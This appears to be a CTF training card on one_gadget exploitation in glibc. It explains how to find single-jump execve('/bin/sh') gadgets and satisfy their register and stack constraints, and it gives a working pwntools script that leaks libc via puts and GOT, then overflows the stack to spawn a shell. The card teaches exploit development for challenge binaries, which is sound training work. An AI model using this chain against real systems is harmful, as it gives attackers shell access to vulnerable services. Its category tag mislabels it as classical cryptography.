Browse CTFs New CTF Sign in

one_gadget Exploitation: Single libc Shell Gadget Identification and Constraint-Satisfying Invocation

encoding_crypto_classical Difficulty 1–5 30 min certifiable

Theory

Why This Matters

one_gadget (also called a "magic gadget") is a single address within libc that, when jumped to with the right register and stack state, executes execve("/bin/sh", NULL, NULL) without any additional ROP setup. In CTF challenges where only a single control-flow hijack is possible (one GOT overwrite, one format string write, one ret2libc jump), one_gadget eliminates the need to chain multiple gadgets. NICE K0168 (exploit code knowledge) and S0131 (develop exploits) require knowing how to locate these gadgets, understand their constraints, and choose or manufacture the register state that satisfies them.

Core Concept

Inside glibc, there exist several code sequences that call execve("/bin/sh", ...) as part of the implementation of system(), popen(), or related functions. These sequences are not designed as exploit gadgets, but their addresses can be jumped to directly if the CPU register state meets the constraints they assume. The one_gadget tool (a Ruby gem) statically analyses the libc binary and outputs the offset of each such sequence along with its required preconditions:

$ one_gadget libc.so.6
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Each gadget has different constraints. The task is to: 1. Find which constraints are naturally satisfied at the point of control-flow hijack. 2. If no gadget's constraints are met, manipulate the stack or registers to satisfy one.

Common constraint types: - rax == NULL: RAX must be zero. Achievable if the last syscall returned 0 or a function returned NULL. - [rsp+0x40] == NULL: the qword at rsp+0x40 must be zero. Often true if the stack is in a clean call frame with zero-initialised locals. - rsp & 0xf == 0: the stack must be 16-byte aligned. Inserting an extra ret gadget (ret-sled) adjusts alignment.

Technical Deep-Dive

# Install one_gadget
gem install one_gadget

# Find gadgets for the challenge libc
one_gadget ./libc.so.6

# With verbose constraint explanation:
one_gadget --level 2 ./libc.so.6

# Limit to gadgets matching a specific constraint file
# (advanced: pair with pwndbg "one_gadget" command for live constraint checking)

Using one_gadget offset in a ret2libc chain:

from pwn import *

elf  = ELF('./challenge')
libc = ELF('./libc.so.6')
p    = process('./challenge')

# ── Step 1: leak libc base ───────────────────────────────────────────────
# Use puts(GOT[puts]) to leak, then compute libc base
pop_rdi    = 0x401263         # pop rdi; ret
ret_gadget = 0x40101a         # ret (for alignment)
puts_plt   = elf.plt['puts']
puts_got   = elf.got['puts']
main_addr  = elf.sym['main']

p.sendlineafter(b'Input: ', b'A' * 72 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr))
leak       = u64(p.recvuntil(b'
').strip().ljust(8, b'x00'))
libc.address = leak - libc.sym['puts']
log.info(f'libc base: {libc.address:#x}')

# ── Step 2: identify a satisfiable one_gadget ────────────────────────────
# one_gadget offsets for this libc (run one_gadget to get actual values)
one_gadgets = [0x4f3d5, 0x4f432, 0x10a41c]

# Try the gadget with [rsp+0x40] == NULL constraint:
# At the point we jump to it, rsp points to the area after the overflow payload.
# If the area 0x40 bytes above rsp is zero (stack zeros from process startup), it works.
og = libc.address + one_gadgets[1]   # 0x4f432: [rsp+0x40] == NULL

# ── Step 3: jump to one_gadget ───────────────────────────────────────────
# Need 16-byte alignment: use "ret" sled if necessary
p.sendlineafter(b'Input: ', b'A' * 72 + p64(ret_gadget) + p64(og))
p.interactive()

Checking constraints live in pwndbg:

# In pwndbg at the point of control-flow hijack:
pwndbg> one_gadget ./libc.so.6
# Lists gadgets with live register/stack state annotations showing which are satisfied

# Manually check:
pwndbg> p $rax
pwndbg> x/gx $rsp+0x40
pwndbg> p $rsp & 0xf

Manufacturing constraint satisfaction: if [rsp+0x40] is not NULL but [rsp+0x70] is:

# Add padding qwords to shift rsp before jumping
og_70 = libc.address + one_gadgets[2]   # [rsp+0x70] == NULL
# Between the two ROP calls, insert 8 bytes of padding (one extra ret) to shift rsp by 8
payload = b'A' * 72 + p64(ret_gadget) * 4 + p64(og_70)
# Each ret_gadget adds 8 to rsp; 4 rets shift rsp by 32
# New effective rsp when og_70 runs is original + 32; adjust count to satisfy constraint

Reverse Engineering Methodology

  1. Run one_gadget libc.so.6 immediately after obtaining the libc binary. Note all gadgets and their constraints. This takes under one second and defines the exploit's feasibility.
  2. In GDB, set a breakpoint at the instruction that will redirect control flow (e.g., the ret of the overflowed function). Inspect register state and stack to determine which gadget constraints are satisfied naturally.
  3. If no gadget is immediately satisfiable, add ret gadgets before the one_gadget jump to adjust rsp alignment, or arrange for a prior call to zero out rax or specific stack slots.
  4. Prefer gadgets with [rsp+N] == NULL constraints over register constraints, as the stack is often partially zeroed. Use pwndbg's telescope to inspect the stack 128 bytes deep.

Common Reversing Errors

  • Using one_gadget offsets from a different libc version: one_gadget offsets are version-specific. Running one_gadget on the wrong libc file gives offsets that crash the process. Confirm the libc file matches the challenge with md5sum or strings libc.so.6 | grep "GLIBC_".
  • Ignoring alignment: the rsp & 0xf == 0 constraint means RSP must be divisible by 16. After a call instruction, RSP is 8-byte aligned (the call pushes an 8-byte return address). Adding one ret gadget re-aligns to 16. Count your gadgets.
  • Assuming [rsp+0x40] is always zero: in interactive mode or if the program has done significant computation, the stack region 0x40 bytes above RSP may contain live data. Verify with GDB before assuming this constraint is met.
  • Not combining with libc base leak: one_gadget addresses are relative to libc base. Without a libc leak, the absolute address is unknown. Always pair one_gadget with a prior ret2libc leak or format string leak to compute libc.address.

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.